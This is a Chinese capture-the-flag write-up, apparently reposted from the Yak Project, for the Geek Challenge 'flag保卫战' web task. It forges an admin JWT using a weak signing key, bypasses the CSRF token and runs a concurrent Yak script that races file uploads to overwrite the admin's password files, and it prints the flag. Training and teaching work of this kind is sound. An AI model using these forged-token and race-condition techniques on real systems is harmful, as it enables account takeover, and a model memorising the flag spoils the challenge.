​极客大挑战flag保卫战题目WP

WriteUp 4个月前 admin
73 0 0

​极客大挑战flag保卫战题目WP

​极客大挑战flag保卫战题目WP

flag保卫战该题目源码位于: https://github.com/yaklang/yaklang/tree/geek2023)  

flag:SYC{75ec9b17-2284-447f-9faa-babccc8f159c}


题目介绍:

​极客大挑战flag保卫战题目WP

管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了

​极客大挑战flag保卫战题目WP

考点:

​极客大挑战flag保卫战题目WP

JWT 越权,并发请求,写脚本能力


过程

​极客大挑战flag保卫战题目WP

访问靶场地址,发现登录页面

​极客大挑战flag保卫战题目WP

查看网页源码,发现访客密码 123456,发现 api 接口 /flag?pass=

随意使用用户名,a,密码 123456 进行登录尝试

​极客大挑战flag保卫战题目WP

通过后台提示信息可知,有一个管理员用户,获取 flag 的密码是四个文件内容相连,推测存在越权,并且能够覆盖管理员设置的文件,也就是重置密码

先随意上传一个文件同时进行抓包,数据包如下:

​极客大挑战flag保卫战题目WP

前端显示,保存文件名的方式应该是 用户名随机值,猜测需要爆破,碰撞出名为 管理员随机值 的文件

​极客大挑战flag保卫战题目WP

上传的数据包中,发现了 JWT 进行鉴权以及一个 yak-token 的上传字段,先尝试解析读取 JWT 信息,发现使用了弱密码,用户为 a,使用弱密码进行管理员账户的 JWT Token 伪造

​极客大挑战flag保卫战题目WP

通过 JWT 解析出来的信息,这里我直接使用 yak 生成了,大家也可以找在线网站进行 JWT 的编辑还原

​极客大挑战flag保卫战题目WP

使用修改为 admin Token 继续尝试发包,发现 Forbidden – CSRF token invalid

​极客大挑战flag保卫战题目WP

现在来看看前面提到的 yak-token字段,分析前端 JS 发现有一个 new-csrf-token的接口,在前端每次点击上传文件时,都会先去获取一个新的 csrf-token

​极客大挑战flag保卫战题目WP

可以开始尝试编写脚本,根据上面的思路我们爆破的步骤为,先获取 csrf-token,构造 upload 数据包,文件内容随意,这里使用 1,上传完成后,请求一次 /flag?pass=1111管理员提示4个文件内容相连由于定期会清除缓存文件,所以最好使用并发,这里直接使用 Yakit 序列功能,后面也提供了 yak 代码,大家也可以使用 python 编写代码。

​极客大挑战flag保卫战题目WP

Step 1

设置重复发包,并发,提取 token ,step 2 中使用

​极客大挑战flag保卫战题目WP

​极客大挑战flag保卫战题目WP

Step 2

​极客大挑战flag保卫战题目WP

​极客大挑战flag保卫战题目WP

Step 3

​极客大挑战flag保卫战题目WP

拖入一个序列组,点击执行

​极客大挑战flag保卫战题目WP

​极客大挑战flag保卫战题目WP 

​极客大挑战flag保卫战题目WP

Yak 代码


// cookie 中的 jwt token 已被替换为 admingetToken = func() { raw = `GET /new-csrf-token HTTP/1.1Host: 127.0.0.1:8089Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg
`
rsp, _ = poc.HTTP(raw, poc.https(false))~
cookie = poc.GetHTTPPacketCookie(rsp, "yak_csrf")
_, body = poc.Split(rsp)
return cookie, string(body)}
// cookie 中的 jwt-token 已经被替换为 admin 用户postUpload = func(cookie, token) { raw2 = f`POST /upload HTTP/1.1Host: 127.0.0.1:8089User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg; yak_csrf=${cookie}; Expires="Fri%2C+08+Sep+2023+13%3A19%3A34+GMT"; Max-Age=10; HttpOnly=; SameSite=LaxAccept: */*Referer: http://192.168.124.14:8089/uploadAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6X-Requested-With: XMLHttpRequestOrigin: http://192.168.124.14:8089Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryIDPlMGmz86uvgyNMContent-Length: 385
------WebKitFormBoundaryIDPlMGmz86uvgyNMContent-Disposition: form-data; name="filename"; filename="1.zip"Content-Type: text/aa
1------WebKitFormBoundaryIDPlMGmz86uvgyNMContent-Disposition: form-data; name="yak-token"
${token}------WebKitFormBoundaryIDPlMGmz86uvgyNM--
` _, _ = poc.HTTP(raw2, poc.https(false))~}
getFlag = func() { raw = `GET /flag?pass=1111 HTTP/1.1Host: 127.0.0.1:8089User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
` _, _ = poc.HTTP(raw, poc.https(false))~}
synWg = sync.NewSizedWaitGroup(20)
for i = 0; i < 500; i++ { synWg.Add() go fn { defer synWg.Done()
cookie, token = getToken() postUpload(cookie, token) getFlag() }}synWg.Wait()


结尾

​极客大挑战flag保卫战题目WP

至此,极客大挑战的4道题目WP已全部放送完毕,希望师傅们能从中有所收获,获得些新的学习思路。同时,我们的渗透研究院直播也会定期更新,期待和师傅们有更多技术碰撞!更多消息请持续关注Yak Project



END





  YAK官方资源 


Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

​极客大挑战flag保卫战题目WP
长按识别添加工作人员
开启Yakit进阶之旅

​极客大挑战flag保卫战题目WP

原文始发于微信公众号(Yak Project):​极客大挑战flag保卫战题目WP

版权声明:admin 发表于 2024年1月4日 下午5:30。
转载请注明:​极客大挑战flag保卫战题目WP | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...